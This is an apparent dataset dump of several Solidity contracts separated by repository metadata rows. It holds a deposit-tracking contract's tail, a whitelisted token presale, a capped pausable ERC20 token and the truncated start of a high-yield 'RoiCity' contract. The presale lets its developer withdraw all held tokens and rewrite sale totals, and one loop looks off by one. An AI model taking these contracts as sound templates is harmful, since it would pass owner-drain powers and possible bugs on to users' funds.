/// @param _userKey aggregated user key (user ID + role ID)
/// @return {
/// "_lockupDates": "list of lockup dates of deposits",
/// "_deposits": "list of deposits"
/// }
function getLockedUserDeposits(bytes32 _userKey) public view returns (uint[] _lockupDates, uint[] _deposits) {
LockedDeposits storage _lockedDeposits = user2lockedDeposits[_userKey];
uint _lockedDepositsCounter = _lockedDeposits.counter;
_lockupDates = new uint[](_lockedDepositsCounter);
_deposits = new uint[](_lockedDepositsCounter);
uint _pointer = 0;
for (uint _idx = 1; _idx < _lockedDepositsCounter; ++_idx) {
uint _lockDate = _lockedDeposits.index2Date[_idx];
if (_lockDate > now) {
_lockupDates[_pointer] = _lockDate;
_deposits[_pointer] = _lockedDeposits.date2deposit[_lockDate];
++_pointer;
}
}
}
/// @notice Gets total amount of bmc-day accumulated due provided date
/// @param _date date where period ends
/// @return an amount of bmc-days
function getTotalBmcDaysAmount(uint _date) public view returns (uint) {
return _getTotalBmcDaysAmount(_date, periodsCount);
}
/// @notice Makes a checkpoint to start counting a new period
/// @dev Should be used only by Profiterole contract
function addDistributionPeriod() public onlyProfiterole returns (uint) {
uint _periodsCount = periodsCount;
uint _nextPeriod = _periodsCount.add(1);
periodDate2periodIdx[now] = _periodsCount;
Period storage _previousPeriod = periods[_periodsCount];
uint _totalBmcDeposit = _getTotalBmcDaysAmount(now, _periodsCount);
periods[_nextPeriod].startDate = now;
periods[_nextPeriod].bmcDaysPerDay = _previousPeriod.bmcDaysPerDay;
periods[_nextPeriod].totalBmcDays = _totalBmcDeposit;
periodsCount = _nextPeriod;
return OK;
}
function isTransferAllowed(address, address, address, address, uint) public view returns (bool) {
return true;
}
function _makeDepositForPeriod(bytes32 _userKey, uint _value, uint _lockupDate) internal {
Period storage _transferPeriod = periods[periodsCount];
_transferPeriod.user2bmcDays[_userKey] = _getBmcDaysAmountForUser(_userKey, now, periodsCount);
_transferPeriod.totalBmcDays = _getTotalBmcDaysAmount(now, periodsCount);
_transferPeriod.bmcDaysPerDay = _transferPeriod.bmcDaysPerDay.add(_value);
uint _userBalance = getUserBalance(_userKey);
uint _updatedTransfersCount = _transferPeriod.transfersCount.add(1);
_transferPeriod.transfersCount = _updatedTransfersCount;
_transferPeriod.transfer2date[_transferPeriod.transfersCount] = now;
_transferPeriod.user2balance[_userKey] = _userBalance.add(_value);
_transferPeriod.user2lastTransferIdx[_userKey] = _updatedTransfersCount;
_registerLockedDeposits(_userKey, _value, _lockupDate);
}
function _makeWithdrawForPeriod(bytes32 _userKey, uint _value) internal {
uint _userBalance = getUserBalance(_userKey);
uint _lockedBalance = _syncLockedDepositsAmount(_userKey);
require(_userBalance.sub(_lockedBalance) >= _value);
uint _periodsCount = periodsCount;
Period storage _transferPeriod = periods[_periodsCount];
_transferPeriod.user2bmcDays[_userKey] = _getBmcDaysAmountForUser(_userKey, now, _periodsCount);
uint _totalBmcDeposit = _getTotalBmcDaysAmount(now, _periodsCount);
_transferPeriod.totalBmcDays = _totalBmcDeposit;
_transferPeriod.bmcDaysPerDay = _transferPeriod.bmcDaysPerDay.sub(_value);
uint _updatedTransferCount = _transferPeriod.transfersCount.add(1);
_transferPeriod.transfer2date[_updatedTransferCount] = now;
_transferPeriod.user2lastTransferIdx[_userKey] = _updatedTransferCount;
_transferPeriod.user2balance[_userKey] = _userBalance.sub(_value);
_transferPeriod.transfersCount = _updatedTransferCount;
}
function _registerLockedDeposits(bytes32 _userKey, uint _amount, uint _lockupDate) internal {
if (_lockupDate <= now) {
return;
}
LockedDeposits storage _lockedDeposits = user2lockedDeposits[_userKey];
uint _lockedBalance = _lockedDeposits.date2deposit[_lockupDate];
if (_lockedBalance == 0) {
uint _lockedDepositsCounter = _lockedDeposits.counter.add(1);
_lockedDeposits.counter = _lockedDepositsCounter;
_lockedDeposits.index2Date[_lockedDepositsCounter] = _lockupDate;
}
_lockedDeposits.date2deposit[_lockupDate] = _lockedBalance.add(_amount);
}
function _syncLockedDepositsAmount(bytes32 _userKey) internal returns (uint _lockedSum) {
LockedDeposits storage _lockedDeposits = user2lockedDeposits[_userKey];
uint _lockedDepositsCounter = _lockedDeposits.counter;
for (uint _idx = 1; _idx <= _lockedDepositsCounter; ++_idx) {
uint _lockDate = _lockedDeposits.index2Date[_idx];
if (_lockDate <= now) {
_lockedDeposits.index2Date[_idx] = _lockedDeposits.index2Date[_lockedDepositsCounter];
delete _lockedDeposits.index2Date[_lockedDepositsCounter];
delete _lockedDeposits.date2deposit[_lockDate];
_lockedDepositsCounter = _lockedDepositsCounter.sub(1);
continue;
}
_lockedSum = _lockedSum.add(_lockedDeposits.date2deposit[_lockDate]);
}
_lockedDeposits.counter = _lockedDepositsCounter;
}
function _getBmcDaysAmountForUser(bytes32 _userKey, uint _date, uint _periodIdx) internal view returns (uint) {
uint _lastPeriodForUserIdx = user2lastPeriodParticipated[_userKey];
if (_lastPeriodForUserIdx == 0) {
return 0;
}
Period storage _transferPeriod = _lastPeriodForUserIdx <= _periodIdx ? periods[_lastPeriodForUserIdx] : periods[_periodIdx];
uint _lastTransferDate = _transferPeriod.transfer2date[_transferPeriod.user2lastTransferIdx[_userKey]];
// NOTE: It is an intended substraction separation to correctly round dates
uint _daysLong = (_date / 1 days) - (_lastTransferDate / 1 days);
uint _bmcDays = _transferPeriod.user2bmcDays[_userKey];
return _bmcDays.add(_transferPeriod.user2balance[_userKey] * _daysLong);
}
function _getTotalBmcDaysAmount(uint _date, uint _periodIdx) private view returns (uint) {
Period storage _depositPeriod = periods[_periodIdx];
uint _transfersCount = _depositPeriod.transfersCount;
uint _lastRecordedDate = _transfersCount != 0 ? _depositPeriod.transfer2date[_transfersCount] : _depositPeriod.startDate;
if (_lastRecordedDate == 0) {
return 0;
}
// NOTE: It is an intended substraction separation to correctly round dates
uint _daysLong = (_date / 1 days).sub((_lastRecordedDate / 1 days));
uint _totalBmcDeposit = _depositPeriod.totalBmcDays.add(_depositPeriod.bmcDaysPerDay.mul(_daysLong));
return _totalBmcDeposit;
}
}
| 208,901 | 11,102 |
338f548ce3d8818243c98aadf99bdd73ae1ec5c65cc20cd11992702817b3ef6b
| 35,939 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/4a/4a405f407f603c00599d11788518cec34bbb4de6_VALSaleNew.sol
| 4,286 | 18,021 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract VALSaleNew is Ownable {
using SafeERC20 for ERC20;
using Address for address;
uint constant MIMdecimals = 10 ** 18;
uint constant VALdecimals = 10 ** 9;
uint public constant MAX_SOLD = 400000 * VALdecimals;
uint public constant PRICE = 1 * MIMdecimals / VALdecimals ;
uint public constant MIN_PRESALE_PER_ACCOUNT = 10 * VALdecimals;
uint public constant DEFAULT_MAX_PRESALE_PER_ACCOUNT = 1000 * VALdecimals;
mapping(address=>uint) public userMaxPresale;
function getUserMaxPresale(address _user) public view returns(uint){
uint userMax = userMaxPresale[_user];
if(userMax == 0)
return DEFAULT_MAX_PRESALE_PER_ACCOUNT;
return userMax;
}
function setUserMaxPresale(address _user, uint _am) external onlyOwner{
userMaxPresale[_user] = _am;
}
address public dev;
ERC20 MIM;
uint public sold;
address public VAL;
bool canClaim;
bool privateSale;
mapping(address => uint256) public invested;
mapping(address => bool) public claimed;
mapping(address => bool) public approvedBuyers;
mapping(address => bool) public blacklisted;
constructor(address _mim) {
MIM = ERC20(_mim);
dev = msg.sender;
}
modifier onlyEOA() {
require(msg.sender == tx.origin, "!EOA");
_;
}
function approveBuyer(address newBuyer_) public onlyOwner() returns (bool) {
approvedBuyers[newBuyer_] = true;
return approvedBuyers[newBuyer_];
}
function approveBuyerAmount(address newBuyer_, uint buyAm_) public onlyOwner() returns (bool) {
approvedBuyers[newBuyer_] = true;
userMaxPresale[newBuyer_] = buyAm_;
return approvedBuyers[newBuyer_];
}
function approveBuyers(address[] calldata newBuyers_) external onlyOwner() returns (uint256) {
for(uint256 iteration_ = 0; newBuyers_.length > iteration_; iteration_++) {
approveBuyer(newBuyers_[iteration_]);
}
return newBuyers_.length;
}
function approveBuyersAmount(address[] calldata newBuyers_, uint buyAm_) external onlyOwner() returns (uint256) {
for(uint256 iteration_ = 0; newBuyers_.length > iteration_; iteration_++) {
approveBuyerAmount(newBuyers_[iteration_] , buyAm_);
}
return newBuyers_.length;
}
function deapproveBuyer(address newBuyer_) public onlyOwner() returns (bool) {
approvedBuyers[newBuyer_] = false;
return approvedBuyers[newBuyer_];
}
function blacklistBuyer(address badBuyer_) public onlyOwner() returns (bool) {
if (!blacklisted[badBuyer_]) {
sold -= invested[badBuyer_];
}
blacklisted[badBuyer_] = true;
return blacklisted[badBuyer_];
}
function blacklistBuyers (address[] calldata badBuyers_) external onlyOwner() returns (uint256) {
for (uint256 iteration_ = 0; badBuyers_.length > iteration_; iteration_++) {
blacklistBuyer(badBuyers_[iteration_]);
}
return badBuyers_.length;
}
function amountBuyable(address buyer) public view returns (uint256) {
uint256 max;
if (approvedBuyers[buyer] && privateSale) {
max = getUserMaxPresale(buyer);
}
return max - invested[buyer];
}
function buyVAL(uint256 amount) external onlyEOA {
//require(sold < MAX_SOLD, "sold out");
require(sold + amount < MAX_SOLD, "not enough remaining");
require(amount <= amountBuyable(msg.sender), "amount exceeds buyable amount");
require(amount + invested[msg.sender] >= MIN_PRESALE_PER_ACCOUNT, "amount is not sufficient");
MIM.safeTransferFrom(msg.sender, address(this), amount * PRICE);
invested[msg.sender] += amount;
sold += amount;
}
// set VAL token address and activate claiming
function setClaimingActive(address val) public {
require(msg.sender == dev, "!dev");
VAL = val;
canClaim = true;
}
// claim VAL allocation based on old + new invested amounts
function claimVAL() external onlyEOA {
require(canClaim, "cannot claim yet");
require(!claimed[msg.sender], "already claimed");
require(!blacklisted[msg.sender], "blacklisted");
if (invested[msg.sender] > 0) {
ERC20(VAL).transfer(msg.sender, invested[msg.sender]);
}
claimed[msg.sender] = true;
}
// token withdrawal by dev
function withdraw(address _token) external {
require(msg.sender == dev, "!dev");
uint b = IERC20(_token).balanceOf(address(this));
IERC20(_token).transfer(dev,b);
}
// manual activation of whitelisted sales
function activatePrivateSale() external {
require(msg.sender == dev, "!dev");
privateSale = true;
}
// manual deactivation of whitelisted sales
function deactivatePrivateSale() external {
require(msg.sender == dev, "!dev");
privateSale = false;
}
function setSold(uint _soldAmount) external onlyOwner {
sold = _soldAmount;
}
}
| 124,670 | 11,103 |
b749d57feba81767f5ce2ab9e3d712a603e55f5c67383935cbb4e2194162a993
| 28,028 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/standardToken.sol
| 3,241 | 12,564 |
pragma solidity 0.5.13;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract MinterRole is Context {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
modifier onlyPauser() {
require(isPauser(msg.sender), "PauserRole: caller does not have the Pauser role");
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal { }
}
contract ERC20Burnable is Context, ERC20 {
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ERC20Mintable is ERC20, MinterRole {
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
}
contract ERC20Capped is ERC20Mintable {
uint256 private _cap;
constructor (uint256 cap) public {
require(cap > 0, "ERC20Capped: cap is 0");
_cap = cap;
}
function cap() public view returns (uint256) {
return _cap;
}
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap, "ERC20Capped: cap exceeded");
super._mint(account, value);
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused returns (bool) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused returns (bool) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract standardToken is ERC20Burnable, ERC20Detailed, ERC20Capped, ERC20Pausable {
// contextualizes token deployment and offered terms, if any
string public stamp;
constructor (string memory name,
string memory symbol,
string memory _stamp,
uint8 decimals,
uint256 cap,
uint256[] memory initialSupply,
address[] memory ownership) public
ERC20Detailed(name, symbol, decimals)
ERC20Capped(cap) {
for (uint256 i = 0; i < ownership.length; i++) {
_mint(ownership[i], initialSupply[i]);
}
_addMinter(ownership[0]);
_addPauser(ownership[0]);
stamp = _stamp;
}
}
| 179,363 | 11,104 |
f262e16e675a4ea3181d93965bc7d087018e7efb4111e3eca2e0317d328b9524
| 28,968 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TF/TFPCpQ7aucj53LP88Dgn9QMtTR2XmeV5w7_RoiCity.sol
| 6,118 | 21,332 |
//SourceUnit: RoiCity.sol
pragma solidity 0.4.25;
interface TRC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract RoiCity {
using SafeMath for uint256;
TRC20 roiCityTokenAddress;
struct Tarif {
uint256 lifeDays;
uint256 percent;
}
struct Deposit {
uint256 amount;
uint256 totalWithdraw;
uint256 time;
uint256 endTime;
bool isWithdrawable;
uint256 lastPayout;
}
struct Player {
address upline;
uint256 dividends;
uint256 match_bonus;
uint256 total_invested;
uint256 total_withdrawn;
uint256 pending_withdrawl;
uint256 total_match_bonus;
Deposit[] deposits;
uint256[] newDeposits;
mapping(uint8 => uint256) structure;
uint256 noOfInvestment;
uint256 lastDepositeAmount;
